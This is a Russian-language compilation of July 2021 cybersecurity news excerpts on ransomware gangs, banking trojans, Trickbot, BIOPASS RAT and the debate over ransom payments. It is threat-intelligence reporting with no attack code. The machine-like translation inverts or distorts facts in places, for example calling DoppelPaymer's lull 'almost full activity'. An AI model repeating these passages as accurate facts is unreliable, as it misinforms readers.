Кэмерон также призвала британское правительство предпринять дополнительные усилия для укрепления информационной безопасности. Она предложила подход с мобилизацией усилий всего правительства, который необходим для повышения кибер-устойчивости и принятия дипломатической позиции, укрепляющей взаимопонимание с теми странами, которые, по ее словам, укрывают кибер-преступников. За этим последовала просьба о «самых решительных действиях уголовного правосудия для тех, кого мы обвиняем». ***(Евгений Куликов. Крупнейшая онлайн-угроза? // Компьютерное Обозрение (https://ko.com.ua/krupnejshaya_onlajn-ugroza_138140). 23.07.2021).***

***

«Во вчерашнем отчете подразделения Unit 42 фирмы Palo Alto Networks, подробно описывается банда кибервымогателей, которая, несмотря на растущую активность остаётся по большей части незамеченной в тени более известных групп, таких как REvil, DarkSide и Ragnar Locker.

По сведениям Cynet, эта преступная группировка, называемая Mespinoza, связана с неизвестной группой продвинутых постоянных угроз (APT), базирующейся во Франции.

ФБР в марте опубликовало предупреждение о том, что данная группа, также известная как PYSA, атаковала учебные заведения в 12 штатах США и в Великобритании, но с тех круг её жертв (которые сама Mespinoza предпочитает называть «партнёрами») значительно расширился.

Помимо образования, хакеры нацелены на производство, розничную торговлю, медицину, правительство, высокие технологии, транспорт и логистику, инженерные и социальные услуги. Требования выкупа составили 1,6 млн долл., а выплаты достигли 470 тыс. долл.

На своём сайте утечек банда выложила данные, украденные ею в 187 организациях, среди которых примерно 55% из США, а остальные из 20 стран, включая Канаду, Бразилию, Великобританию, Италию, Испанию, Францию, Германию, Южную Африку и Австралию.

Группу Mespinoza отличает избирательный подход к выбору «партнёров». Получив доступ к новой сети, группа изучает её, пытаясь определить, достаточно ли в ней ценных данных, чтобы оправдать запуск полномасштабной атаки. При этом хакеры ведут поиск по таким ключевым словам как подполье, афёра, SSN (номер социального страхования), водительские права, паспорт и I-9 (анкета проверки права на работу в США).

«Атаки Mespinoza, подобные тем, которые задокументированы в этом отчёте, демонстрируют множественные тенденции, наблюдаемые в настоящее время среди отдельных злоумышленников и банд кибервымогателей», — заключают эксперты Unit 42». ***(Кибергруппировка Mespinoza расширяет географию атак и отраслевую специализацию // Компьютерное Обозрение (https://ko.com.ua/francuzskie_kibervymogateli_rasshiryayut_geografiyu_i_otraslevuyu_specializaciyu_atak_138056). 16.07.2021).***

***

«BlackMatter - это новая партнерская программа «программа-вымогатель как услуга» (RaaS), которая была основана в июле 2021 года. Согласно BlackMatter, «проект вобрал в себя лучшие функции DarkSide, REvil и LockBit».

Согласно приведенному ниже общедоступному блогу, группа злоумышленников не атакует организации в нескольких отраслях, включая здравоохранение, критическую инфраструктуру, нефть и газ, оборону, некоммерческие организации и правительство.

BlackMatter, участник форума верхнего уровня Exploit и, вероятно, оператор программы-вымогателя BlackMatter, в настоящее время рекламирует покупку

доступа к корпоративным сетям в США, Канаде, Австралии и Великобритании. Злоумышленник интересуется всеми отраслями, кроме здравоохранения и правительства, и предъявляет следующие требования к целям:

Выручка 100 миллионов долларов и более 500-15000 хостов в сети

BlackMatter предлагает ценовой диапазон от 3000 до 100000 долларов за доступ к сети, а также долю от потенциальной суммы выкупа. BlackMatter имеет депозит в размере 4 биткойнов (110 000 долларов США) на форуме Exploit.

Программа-вымогатель предоставляется для нескольких разных версий операционных систем и архитектур и доступна в различных форматах, включая вариант Windows с поддержкой SafeMode (EXE / Reflective DLL / PowerShell) и вариант Linux с поддержкой NAS: Synology, OpenMediaVault, FreeNAS (TrueNAS). Согласно BlackMatter, вариант вымогателя для Windows был успешно протестирован на Windows Server 2003+ x86 / x64 и Windows 7+ x64 / x86. Вариант программы-вымогателя для Linux был успешно протестирован на ESXI 5+, Ubuntu, Debian и CentOs. Поддерживаемые файловые системы для Linux включают VMFS, VFFS, NFS, VSAN.

Recorded Future следит за текущими разработками, связанными с программой-вымогателем BlackMatter». ***(BlackMatter Ransomware Emerges As Successor to DarkSide, REvil // RECORDED FUTURE, INC. (https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/). 27.07.2021).***

***

«За второй квартал 2021 года число организаций, пострадавших от деятельности кибервымогателей, увеличилось на 47% по сравнению с первыми тремя месяцами года.

Такие данные приводит D-Russia со ссылкой на исследование ИБ-компании Digital Shadows.

Digital Shadows ведёт ежедневный мониторинг 31 сайта, на которых размещаются данные о краже информации у различных организаций. Как показали наблюдения, во втором квартале жертвами злоумышленников стали 740 различных компаний.

Наиболее активны были члены хакерской группировки Conti, которую связывают с распространением вируса-вымогателя Ryuk, далее следуют шайки вымогателей Avaddon, PYSA и REvil.

Чаще всего преступники атаковали производителей промышленных товаров и компании из сферы услуг. Вторым по количеству пострадавших стал сектор строительства и строительных материалов, замкнула тройку розничная торговля. По сравнению с первыми тремя месяцами года количество жертв среди ритейла выросло сразу на 183%.

Сильнее других досталось, 60% атакованных компаний – американские.

В Digital Shadows считают, что подобные нападения не прекратятся и в третьем квартале 2021 года. По прогнозам специалистов, главным для злоумышленников при выборе цели будет не известность компании, а вероятность получения выкупа.

Напомним, после резонансных кибернападений на инфраструктуру Соединённых Штатов комитет по разведке Сената США разработал законопроект, обязывающий инфраструктурных операторов, государственных подрядчиков и федеральные агентства докладывать об атаках хакеров в течение 24 часов с момента нападения». ***(Количество столкнувшихся с кибервымогателями компаний в мире за три месяца выросло в полтора раза // ООО "ИКС-МЕДИА" (https://www.iksmedia.ru/news/5844741-Kolichestvo-stolknuvshixsya-s-kiber.html). 27.07.2021).***

***

«Microsoft предупреждает, что работа вредоносного ПО для колл-центра BazarCall (или Bazacall) на самом деле более опасна, чем предполагалось, поскольку первоначальные атаки потенциально могут привести к атакам программ-вымогателей в течение 48 часов.

Группа предназначалась для клиентов Office 365 / Microsoft 365 с помощью фишинговых писем по поводу «истекающих» фиктивных пробных подписок, которые заставляют цель позвонить в колл-центр, чтобы поговорить с оператором, который затем пытается обманом заставить жертву установить бэкдор Bazacall.

Группа аналитики угроз Microsoft 365 Defender обратила внимание на эту группу в июне, как сообщал ZDNet в то время, и в новом посте описывается, насколько это более опасная угроза, чем сообщалось ранее, что позволяет злоумышленникам распространять программы-вымогатели или красть данные в течение 48 часов после инфекции.

«Помимо возможностей бэкдора, полезная нагрузка BazaLoader из этих кампаний также дает удаленному злоумышленнику возможность управлять устройством затронутого пользователя с клавиатуры, что позволяет быстро взломать сеть», - заявляет команда Microsoft.

«По нашим наблюдениям, атаки, исходящие от угрозы BazaCall, могут быстро распространяться в сети, проводить обширную кражу данных и кражи учетных данных, а также распространять программы-вымогатели в течение 48 часов после первоначального взлома».

Группа BazaCall, по-видимому, объединилась с группой, стоящей за вымогателем Ryuk, которая заработала около 150 миллионов долларов в биткойнах от своих атак.

Несколько заметных отличий от тактики группы BazaCall включают то, что они не используют фишинговые ссылки и не отправляют вредоносные вложения, что помогает избежать классических систем обнаружения. Техника ближе к мошенникам колл-центра, а жертвы также связаны с человеком-оператором.

«Управление с клавиатуры делает эту угрозу еще более опасной и уловимой, чем традиционные автоматизированные атаки вредоносного ПО», - предупреждает Microsoft.

Колл-центр и работа с электронной почтой кажутся достаточно хорошо организованными. Хотя строки темы в электронных письмах повторяются, каждое электронное письмо помечается уникальной буквенно-цифровой строкой, создавая

идентификатор пользователя или код транзакции, чтобы идентифицировать жертву по нескольким вызовам.

Первоначальный оператор колл-центра обсуждает истекающую подписку, а затем рекомендует жертве посетить поддельный веб-сайт, где они якобы могут отменить подписку, чтобы избежать ежемесячных платежей в будущем.

Microsoft предоставила дополнительные сведения об использовании группой вредоносных макросов в файлах Excel для загрузки набора для тестирования на проникновение Cobalt Strike и получения контроля над машиной жертвы с клавиатуры, а также возможности поиска в сети учетной записи администратора и администратора домена. info для кражи данных или развертывания Ryuk или Conti, связанных программ-вымогателей.

Агент инструктирует жертву перейти на страницу учетной записи и отменить подписку, загрузив файл, который оказывается документом Excel с поддержкой макросов. Агент центра обработки вызовов инструктирует жертву включить контент в предупреждении Microsoft по умолчанию в Excel о том, что макросы отключены.

Согласно описанию Microsoft, эта группа использует относительно изощренную «жизнь на земле» (или злоупотребляет законными программными инструментами) для гнусных сетевых действий.

Если злоумышленник находит важную цель, он использует 7-Zip для архивации интеллектуальной собственности, такой как информация об операциях безопасности, финансах и бюджетах, для кражи.

По данным Microsoft, в случаях, когда программа-вымогатель была развернута после компрометации, злоумышленник использовал скомпрометированные учетные записи с высокими привилегиями с функцией PsExec Cobalt Strike для распространения программ-вымогателей Ryuk или Conti на сетевых устройствах». ***(Liam Tung. This unusual malware attack can go from first contact to launching ransomware in just 48 hours // ZDNet (https://www.zdnet.com/article/microsoft-warns-these-attackers-can-go-from-first-contact-to-launching-ransomware-in-just-48-hours/). 30.07.2021).***

***

«Ценники нескольких громких атак программ-вымогателей попали в заголовки газет за последние пару месяцев. Colonial Pipeline, поставляющая примерно 45% топлива для Восточного побережья, заплатила хакерам выкуп в размере 4,4 миллиона долларов (хотя ФБР, как сообщается, вернуло около 2,3 миллиона долларов из этой суммы). JBS USA, крупная мясоперерабатывающая компания, заплатила 11 миллионов долларов. Поскольку хакеры зарабатывают миллионы долларов с помощью одиночных атак, возник спор о том, что делать, если вообще что-то делать, с платежами с использованием программ-вымогателей. Некоторые предлагают полностью запретить их, не обращая внимания на структуру стимулов, которую, как представляется, создают такие платежи, в то время как другие предупреждают о негативных и непредвиденных последствиях, которые может иметь полный запрет, особенно для жертв нападения.

В первом лагере несколько высокопоставленных государственных чиновников недавно заявили о своем несогласии с выплатами программ-вымогателей на том основании, что они могут спровоцировать новые атаки. Например, директор ФБР Кристофер Рэй свидетельствовал перед Конгрессом несколько недель назад о политике ФБР, согласно которой «компании не должны выплачивать выкуп по ряду причин», включая то, что такие выплаты могут «поощрять [] более активную деятельность такого рода» и что жертвы «могут заплатить выкуп и не получить обратно [свою] систему, и это небезызвестно». Однако в конечном итоге он подчеркнул, что «независимо от того, платят они выкуп или нет», жертвы атак с использованием программ-вымогателей должны обязательно координировать свои действия с правоохранительными органами «прямо из ворот».

Идя еще дальше, в недавнем интервью телеканалу NBC «Знакомство с прессой» министр энергетики США Дженнифер Гранхольм заявила, что поддержит закон, запрещающий выплаты программ-вымогателей. Отметив, что она не знала, «сейчас Конгресс или президент», она поделилась своим мнением о том, что «мы должны послать это убедительное сообщение о том, что уплата [выкупа] только усугубляет и ускоряет проблему. Вы поощряете плохих актеров».

Но вопреки этой точке зрения многие эксперты и представители бизнес-сообщества ставят под сомнение разумность прямого запрета, отмечая, что он может парализовать организации в ответ на такие атаки. Например, в статье, недавно опубликованной в Forbes, приводятся ответы на эту идею ряда экспертов по кибербезопасности, причем многие предупреждают о непредвиденных последствиях такого запрета. Эксперты предупреждают, например, что, если компании не смогут заплатить выкуп, они могут навсегда потерять свои данные и вместо этого остаться с разрушенной компьютерной системой или потоком судебных исков. Это может быть особенно разрушительным для организаций, которые держат жизни людей в своих руках или предоставляют критически важную инфраструктуру, например, больницы, полицейские управления или энергетические компании. Верно объясняя свое решение заплатить хакерам выкуп, генеральный директор Colonial Pipeline Джозеф Блаунт объяснил, что, по его мнению, у него нет другого выбора, кроме как заплатить, учитывая последствия закрытия проекта для страны. Эксперты также предупредили, что такой запрет может побудить хакеров еще более агрессивно угрожать жертвам, вынуждая их рассматривать возможность нарушения закона США и в любом случае тайно производить платежи.

Примечательно, что Целевая группа по программам-вымогателям, группа, собранная в декабре из представителей частного и государственного секторов, не рекомендовала запретить выплаты программ-вымогателей. В подробном отчетевыпущенный в конце апреля, Целевая группа признала необходимость запрета, но также подчеркнула, что атаки с использованием программ-вымогателей легко запускать, поэтому хакеры «, вероятно, будут продолжать проводить атаки и проверять решимость как организаций-жертв, так и их регулирующих органов». Целевая группа высказала мнение, что хакеры сосредоточатся на областях, «в которых правительства не применяют ту же политику или не могут обеспечить

защиту жертв», и «оказать дополнительное давление» будут нацелены на организации, которые считаются «важными для общества», Включая« поставщиков медицинских услуг, органы местного самоуправления и других хранителей критически важной инфраструктуры ». Таким образом, вместо того, чтобы рекомендовать запрет, Целевая группа по программам-вымогателям рекомендовала правительствам выделить больше ресурсов для поддержки реагирования на программы-вымогатели.

Учитывая участившиеся атаки программ-вымогателей, мы, вероятно, услышим больше об этих дебатах в ближайшие месяцы. Действительно, сенатор Марк Уорнер, председатель сенатского комитета по разведке, недавно заявил, что вопрос о том, должен ли Конгресс принять запрет на выплаты программ-вымогателей, «стоит обсудить».

Однако, помимо такого предварительного обсуждения, со стороны федерального правительства не было никаких серьезных движений по этому вопросу. В прошлом году мы писали, что Управление по контролю за иностранными активами Министерства финансов США («OFAC») выпустило консультативное предупреждение сторонам, которые платят или содействуют выплатам программ-вымогателей, о том, что они могут столкнуться с серьезными правовыми последствиями, если платеж будет произведен стороне, подлежащей Санкции США. Однако, поскольку многие хакерские группы не подпадают под санкции США, это далеко не полный запрет. Совсем недавно администрация Байдена сформировала межведомственную рабочую группу во главе с Министерством юстиции, которая, среди прочего, будет работать над замораживанием платежей программ-вымогателей, совершаемых через криптовалютные платформы, хотя это тоже далеко не запрет.

Также было некоторое движение на государственном уровне. Ранее в этом году законодатели Нью-Йорка представили два законопроекта, запрещающих муниципалитетам осуществлять платежи с использованием программ-вымогателей. А совсем недавно Дом Северной Каролины принял аналогичный закон, запрещающий государственным и местным агентствам осуществлять платежи с использованием программ-вымогателей. Эти законодательные усилия, конечно же, сосредоточены на том, что государственные органы могут и не могут делать, и не имеют никакого отношения к действиям, которые могут предпринять частные жертвы программ-вымогателей.

Хотя неясно, перейдет ли Конгресс к принятию закона, запрещающего выплаты программ-вымогателей на данном этапе, любой запрет - в той мере, в какой он будет введен - скорее всего, будет постепенно вводиться постепенно. Сопредседатель Целевой группы по программам-вымогателям Крис Пейнтер высказал такое же мнение, отметив в недавнем интервью, что в соответствии с отчетом Целевой группы он ожидает, что законодательство будет в первую очередь сосредоточено на повышении устойчивости частного сектора к таким атакам и установлении ресурсы, такие как фонды восстановления жертв.

В соответствии с усилиями правительства, направленными на повышение готовности частного сектора к атакам программ-вымогателей и защиты от них, Агентство кибербезопасности и безопасности инфраструктуры США («CISA»)

недавно запустило свой новый веб-сайт StopRansomware.gov, который он описывает как «единый комплекс. -правительственный подход, который дает единое центральное место для ресурсов и предупреждений о программах-вымогателях». Среди других функций, доступных от CISA, - новый инструмент самооценки готовности к программам-вымогателям под названием Cyber Security Evaluation Tool (CSET®)., который разработан, чтобы «помочь организациям лучше оценить, насколько хорошо они оснащены для защиты от инцидентов с программами-вымогателями и восстановления после них». Еще неизвестно, насколько эффективны эти новые инструменты и ресурсы для подготовки частного сектора к будущим атакам программ-вымогателей и является ли это частью процесса, помогающего смягчить недостатки запрета или ограничения на выплату вымогателей.

Мы продолжим следить за этим развитием». ***(Anthony C. LoMonaco and Peter A. Nelson. Taking the Ransom Out of Ransomware? Debate on Ransomware Payments Picks Up // Patterson Belknap Webb & Tyler LLP (https://www.pbwt.com/data-security-law-blog/taking-the-ransom-out-of-ransomware-debate-on-ransomware-payments-picks-up/#page=1). 27.07.2021).***

***

«После периода почти полной активности вымогатель DoppelPaymer осуществил ребрендинг, получив название Grief (также известного как Pay or Grief).

Неясно, стоит ли кто-нибудь из первоначальных разработчиков по-прежнему за этой программой-вымогателем как услуга (RaaS), но ключи, обнаруженные исследователями безопасности, указывают на продолжение «проекта».

Активность DoppelPaymer начала снижаться в середине мая, примерно через неделю после атаки программы-вымогателя DarkSide на Colonial Pipeline, одного из крупнейших операторов топливных трубопроводов в США.

Поскольку с 6 мая на их сайте утечки не было обновлений, казалось, что банда DoppelPaymer делает шаг назад, ожидая, пока внимание общественности к атакам программ-вымогателей рассеется.

Однако исследователи безопасности в прошлом месяце указали, что Grief и DoppelPaymer являются именами одной и той же угрозы.

Фабиан Bocap из Emsisoft сообщил BleepingComputer, что они использовали один и тот же зашифрованный формат файла и один и тот же канал распространения - ботнет Dridex.

Несмотря на попытки злоумышленника сделать Grief похожей на отдельный RaaS, сходство с DoppelPaymer настолько разительно, что связь между ними невозможно игнорировать.

Новости о программе-вымогателе Grief появились в начале июня, когда считалось, что это новая операция, но был обнаружен образец с датой компиляции 17 мая.

Исследователи вредоносного ПО из компании Zscaler, занимающейся облачной безопасностью, проанализировали ранний образец вымогателя Grief и

заметили, что записка о выкупе, выпавшая на зараженные системы, указывала на портал DoppelPaymer.

«Это говорит о том, что автор вредоносной программы, возможно, все еще находился в процессе разработки портала выкупа Grief. Группы угроз вымогателей часто переименовывают название вредоносной программы как утечку» - Zscaler

Связь между ними простирается дальше, до мест утечки. Хотя визуально они не могут быть более разными, есть много общего, например, код капчи, который предотвращает автоматическое сканирование сайта.

Кроме того, две угрозы вымогателей основаны на очень похожем коде, который реализует «идентичные алгоритмы шифрования (2048-битный RSA и 256-битный AES), хеширование импорта и расчет смещения точки входа».

Еще одно сходство заключается в том, что и Grief, и DoppelPaymer используют Общие правила защиты данных Европейского союза (GDPR) в качестве предупреждения о том, что жертвам, не уплачивающим деньги, все равно придется столкнуться с судебными санкциями из-за нарушения.

Между ними так мало различий, и это в основном косметическое, что исследователи вредоносных программ твердо убеждены, что это одна и та же операция под другим именем.

Например, Grief перешла на криптовалюту Monero, что может быть защитной мерой от возможных действий правоохранительных органов, которые могут привести к изъятию уже собранных выкупных денег.

Другое отличие состоит в том, что программа-вымогатель Grief использует термин «горе» для данных жертвы, просочившихся на их сайт, либо как доказательство взлома («горе в процессе»), либо как наказание за неуплату выкупа («полное горе»).

На данный момент на сайте утечки Grief указано более двух десятков жертв, что свидетельствует о том, что злоумышленник был занят работой под новым именем. Похоже, банда также заявляет о недавнем нападении на греческий город Салоники, публикуя файловый архив в качестве доказательства вторжения.

Zscaler говорит, что «программа-вымогатель Grief - это последняя версия программы-вымогателя DoppelPaymer с незначительными изменениями кода и новой косметической темой», добавляя, что банда держалась в тени, чтобы избежать уровня внимания, которое REvil получил за взлом Kaseya и DarkSide за попадание в Colonial Трубопровод.

Ребрендинг банды вымогателей не обязательно направлен на то, чтобы стереть свои следы, и может делать это, чтобы избежать каких-либо правительственных санкций, которые помешали бы жертвам заплатить выкуп.

Краткий список из пяти хешей для образцов, пойманных Zscaler, доступен в сообщении блога». ***(Ionut Ilascu. DoppelPaymer ransomware gang rebrands as the Grief group // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-gang-rebrands-as-the-grief-group/). 29.07.2021).***

***

«Исследователи подробно познакомились с Toddler, новым банковским троянцем для Android, который набирает обороты по всей Европе.

В докладе совместно с ZDNet, то PRODAFT Threat Intelligence (PTI) команда говорит, что вредоносные программы, также известный как TeaBot / Anatsa, является частью растущей тенденции мобильного банкинга от вредоносных программ нападения на страны, в том числе Испании, Германии, Швейцарии и Нидерландах.

Малыш был впервые обнаружен Клефи после его открытия в январе. Пока еще ведется активная разработка, мобильный троянец был использован в атаках на клиентов 60 европейских банков.

В июне Bitdefender заявил, что Испания и Италия являются очагами заражения, хотя мишенью также стали Великобритания, Франция, Бельгия, Австралия и Нидерланды.

По данным PTI, по результатам анализа вредоносного ПО в этом году Испания заняла первое место по количеству кибератак. На данный момент заражено не менее 7 632 мобильных устройства.

После проникновения на командный сервер (C2), используемый операторами троянца, исследователи также обнаружили более 1000 наборов украденных банковских учетных данных.

Несмотря на то, что исследователи из нескольких организаций отслеживали, как Малыш обнаруживает вредоносные файлы.APK и приложения для Android, векторы заражения различаются. Хотя на данный момент троянец не был обнаружен в Google Play, многочисленные законные веб-сайты были скомпрометированы для размещения и обслуживания вредоносного ПО.

Хотя Toddler предварительно настроен на пользователей «десятков» банков по всей Европе, компания обнаружила, что на данный момент 100% обнаруженных заражений относятся только к 18 финансовым организациям. В общей сложности на долю пяти компаний пришлось около 90% атак, что, по мнению группы, может указывать на успешную фишинговую кампанию на основе SMS.

Toddler - это обычная троянская программа во многих отношениях. Он содержит функции, которые вы обычно ожидаете: возможность кражи данных, включая банковские реквизиты, ведение кейлоггеров, создание снимков экрана, перехват кодов двухфакторной аутентификации (2FA), перехват SMS и подключение к C2 для передачи информации, приема команд и привязать зараженное устройство к ботнету.

Троянец будет использовать оверлейные атаки, чтобы обманом заставить жертв предоставить свои банковские реквизиты ЕС, отображая поддельные экраны входа в систему. После установки вредоносная программа отслеживает, какие легальные приложения открываются, и после запуска целевого программного обеспечения начинается оверлейная атака.

«Малыш загружает специально созданную страницу входа для открытого целевого приложения со своего C2», - отмечает PRODAFT. «Загруженная фишинговая страница веб-просмотра затем накладывается на целевое приложение.

Пользователь ничего не подозревает, потому что это событие происходит почти мгновенно при открытии законного приложения».

Вредоносная программа также попытается украсть другие записи учетных записей, например те, которые используются для доступа к кошелькам с криптовалютой.

Список команд C2 включает активацию экрана зараженного устройства, запрос разрешений, изменение уровня громкости, попытку получить коды из Google Authenticator через специальные возможности и удаление приложений.

Уровень настойчивости, который может поддерживать этот троянец, необычен. В Toddler есть несколько механизмов сохранения, наиболее заметным из которых является предотвращение перезагрузки зараженного устройства путем злоупотребления функциями доступности.

Малыш также может запретить использование телефона в безопасном режиме.

«Toddler создает новый прецедент для реализации модуля устойчивости», - говорят исследователи. «Удаление вредоносного ПО с устройства требует огромных технических знаний, и похоже, что в будущем этот процесс не станет проще». ***(Charlie Osborne. Toddler mobile banking malware surges across Europe // ZDNet (https://www.zdnet.com/article/toddler-mobile-banking-malware-surges-across-europe/). 16.07.2021).***

***

«По словам исследователей, троян Trickbot находится в режиме возрождения, его операторы заполняют инфраструктуру по всему миру и выпускают обновленную версию модуля vncDll, используемого для мониторинга и сбора информации.

Согласно анализу, проведенному на этой неделе Bitdefender, произошло «значительное увеличение числа центров управления и контроля (C2) [Trickbot], развернутых по всему миру» после того, как Microsoft и партнеры взяли его на вооружение в октябре. Microsoft удалось нарушить работу ботнета, распространяющего вредоносное ПО, но даже тогда исследователи предупредили, что операторы быстро попытаются возобновить свою деятельность.

Похоже, что это происходит, и не только со стороны инфраструктуры: исследователи заявили, что шпионский модуль Trickbot находится в стадии активной разработки с частым графиком обновлений, в котором применяются улучшенные функциональные возможности и исправления ошибок.

Настройка модуля VNC Trickbot

Последняя версия шпионского модуля использует виртуальные сетевые вычисления (VNC): отсюда и название vncDll. По сути, он устанавливает виртуальный рабочий стол, который копирует рабочий стол машины-жертвы, и начинает использовать его для кражи информации. По словам исследователей, он циркулирует с конца мая.

При первой установке vncDll использует настраиваемый протокол связи для передачи информации на один из девяти серверов C2, определенных в файле

конфигурации, и от него. Модуль будет использовать первый, к которому он сможет подключиться.

«Порт, используемый для связи с серверами, - 443, чтобы не вызывать подозрений у любого, кто наблюдает за трафиком», - говорится в анализе Bitdefender. «Хотя для трафика через этот порт обычно используется SSL или TLS, данные отправляются в незашифрованном виде».

Первым делом нужно сообщить серверу C2, что он установлен, а затем он ожидает получения набора команд. C2 подключается к клиенту, контролируемому злоумышленником, который представляет собой программное приложение, которое злоумышленники используют для взаимодействия с жертвами через серверы C2. Это позволяет злоумышленникам просматривать список жертв и их статус.

Согласно Bitdefender, клиент, используя уникальный идентификатор бота для жертвы, направит C2 в ответ модулю одной из как минимум трех возможных команд:

«TS5T», который модуль отправит эхом на сервер C2 и дождется следующей команды. Это используется в качестве сообщения keep-alive, пока злоумышленник не запрашивает доступ к жертве;

«LliK», при котором модуль будет автоматически завершен;

Любая другая команда, которая предложит модулю создать новый рабочий стол, полностью управляемый модулем и содержащий настраиваемый интерфейс для злоумышленников (через C2 и клиентское средство просмотра). Если модуль не может создать альтернативный рабочий стол, он закрывает соединение.

«Альтернативный рабочий стол создается и полностью контролируется модулем, копируя значки с рабочего стола, создавая настраиваемую панель задач для управления своими процессами и создавая настраиваемое меню правой кнопки мыши, содержащее настраиваемые функции», - сообщает Bitdefender.

Обычный режим работы Trickbot для шпионажа

В нормальном режиме работы модуль сначала отправляет снимки экрана альтернативного рабочего стола и любые данные буфера обмена на C2, которые злоумышленники используют для генерации оконных сообщений, которые, согласно анализу, выполняют различные действия на виртуальном рабочем столе.

«Сообщения окна обрабатываются должным образом, имитируя щелчки мыши или нажатия клавиш на виртуальном рабочем столе, который был создан», - пояснили исследователи. «Большинство опций просто открывают программы с машины, но с помощью Cmd.exe злоумышленники могут выполнять несколько важных действий, используя PowerShell».

К ним относятся:

Загрузка новых полезных данных для дальнейшего распространения атаки внутри сети;

Открытие различных документов или почтового ящика;

Загрузка данных о машине в C2.

Модуль также создает собственный браузер, который добавляет в смесь функцию сброса пароля. Исследователи заявили, что эта часть находится в активной разработке с несколькими еженедельными обновлениями.

«По умолчанию он создает свой собственный браузер, используя функцию автоматизации OLE для Internet Explorer», - сказали они. «Кнопки слева от панели навигации должны использоваться для сброса пароля и должны работать для Chrome, Firefox, Opera и Internet Explorer, но эта функция правильно работает только для Internet Explorer».

Исследователи добавили, что сброс пароля для Firefox, похоже, находится в разработке, но еще не работает в полной мере - положение дел, которое они ожидают, изменится.

Возвращение после тейкдауна

Несмотря на попытку удаления, Trickbot активен как никогда », - заключили исследователи Bitdefender.

И действительно, модуль vncDll - это всего лишь последняя разработка для TrickBot, который начинал как чисто банковский троян, а затем превратился в сложную (и распространенную) модульную угрозу, известную тем, что доставляет ряд дополнительных полезных нагрузок, включая программы-вымогатели. После октябрьского демонтажа было замечено, что он добавляет еще больше функциональных возможностей, в том числе добавляет в свой модуль возможности man-in-the-browser (MitB) для кражи учетных данных онлайн-банкинга и реализует редкую функциональность буткита, предназначенную для проверки прошивки UEFI / BIOS целевых системы». ***(Tara Seals. Trickbot Malware Rebounds with Virtual-Desktop Espionage Module // Threatpost (https://threatpost.com/trickbot-malware-virtual-desktop-espionage/167789/). 14.07.2021).***

***

«Компании, занимающиеся азартными онлайн-играми в Китае, становятся мишенью нового трояна удаленного доступа (RAT), который, помимо своих предсказуемых функций, таких как оценка файлов и эксфильтрация, использует новый подход использования потоковой передачи в реальном времени для слежки за экранами своих жертв.

Вредоносная программа была идентифицирована группой исследователей угроз Trend Micro и получила название BIOPASS RAT.

«Что делает BIOPASS RAT особенно интересным, так это то, что он может обнюхивать экран своей жертвы, злоупотребляя структурой Open Broadcaster Software (OBS) Studio, популярного приложения для потоковой передачи и записи видео в реальном времени, для организации потоковой передачи в облачный сервис посредством обмена сообщениями в реальном времени протокол (RTMP)», - сообщили в компании Trend Micro. «Кроме того, в атаке используется служба хранилища объектов (OSS) Alibaba Cloud (Aliyun) для размещения скриптов Python BIOPASS RAT, а также для хранения данных, отфильтрованных от жертв».

Исследователи заявили, что атака на водопой обычно всплывает у нас и выглядит как окно чата поддержки. В отчете поясняется, что после начала установки вредоносная программа проверяет, заражена ли уже жертва BIOPASS RAT. Если да, то это прекратится. В противном случае, как заметили исследователи, сценарий начнет отображать мошеннический контент на экране жертвы, который сообщает пользователю, что ему необходимо установить либо

Flash, либо Silverlight, добавила команда Trend Micro, направляя его на вредоносный загрузчик.

В отчете поясняется, что после создания нового имени входа вредоносная программа создает и запускает различные запланированные задачи, которые могут загружать Cobalt Strike или бэкдор BPS. Задача с надписью «big.txt» обеспечивает основные функции BIOPASS RAT, которые, добавленные командой Trend Micro, скомпилированы с Nuitka, PyArmor и PyInstaller.

«Запланированные задачи» у крыс BIOPASS

«Мы также заметили строку пути «ServiceHub», которая представляет собой путь к извлеченной среде выполнения Python», - добавила команда Trend Micro. «После шестнадцатеричного декодирования аргументов мы получаем однострочник Python, который загружает дополнительные скрипты Python из облака».

Как выяснили исследователи Trend Micro, после запуска BIOPASS RAT он ищет бэкдор, при необходимости создает бэкдор и добавляет временную метку. Затем он загружает сценарий Python с надписью «online.txt», который открывает HTTP-сервер и прослушивает номера портов: 43990, 43992, 53990, 33990, 33890, 48990, 12880, 22880, 32880, 42880, 52880 или 62880.

«HTTP-сервер ничего не делает, но возвращает строку «BPSV3» для запроса», - добавлено в отчете. «Второй HTTP-сервер также будет создан для прослушивания одного из вышеупомянутых номеров портов. Второй HTTP-сервер ведет себя так же, как первый, но вместо этого возвращает строку dm_online. Как уже упоминалось, это маркеры инфекции. После того, как серверы установлены и запущены, бэкдор создает корневой каталог выполнения в папке «% PUBLIC% / BPS / V3 /».

Затем BIOPASS RAT обратится к корневому каталогу и найдет файл с именем «bps.key», в котором есть идентификатор пользователя, созданный для жертвы командно-управляющим сервером (C2). Если он не найден, говорится в отчете, сервер C2 назначит его.

Потоковая передача, скриншоты, файлы, даже анализ сети

Отсюда BIOPASS RAT получает все - рабочий стол контролируется и транслируется в облако в режиме реального времени с помощью RTMP; В отчете добавлены скриншоты рабочего стола в формате PNG, и команда оболочки запускает функцию Python, которая может убить себя, а затем перезапустить свои запланированные задачи.

BIOPASS RAT даже собирает файлы cookie и данные входа в систему жертвы.

Учетная запись, контролируемая злоумышленником, размещена в Alibaba Cloud OSS, сообщили исследователи Trend Micro, добавив, что они не получили никакого ответа от Alibaba после сообщения о вредоносной активности.

Они также обнаружили два вызывающих беспокойство подключаемых модуля Python, развернутых Cobalt Strike, которые перехватывают сообщения WeChat Windows.

«Скрипт getwechatdb используется для извлечения истории чата из клиента WeChat для Windows», - предупреждается в отчете. «Сценарий определит версию

установленного клиента WeChat и получит ключ дешифрования и идентификатор пользователя. Предварительно определенный список смещений используется для определения места, где находятся ключ дешифрования и идентификатор пользователя».

Затем сценарий отправляет сообщения WeChat в облако с соответствующим идентификатором клиента и ключом дешифрования.

Второй плагин может внедрять вредоносный код в веб-службу цели с помощью WinDivert, которая отслеживает и контролирует сетевой трафик Windows, говорится в отчете.

Исследование команды привело их к выводу, что BIOPASS RAT имеет много связей с APT41, также известной как группа Winnti, которая регулярно использует украденные сертификаты игровых студий для своих вредоносных программ. Trend Micro отмечает, что сертификаты BIOPASS RAT были украдены у южнокорейских и тайваньских игровых студий». ***(Becky Bracken. BIOPASS RAT Uses Live Streaming Steal Victims' Data // Threatpost (https://threatpost.com/biopass-rat-live-streaming/167695/). 12.07.2021).***

***

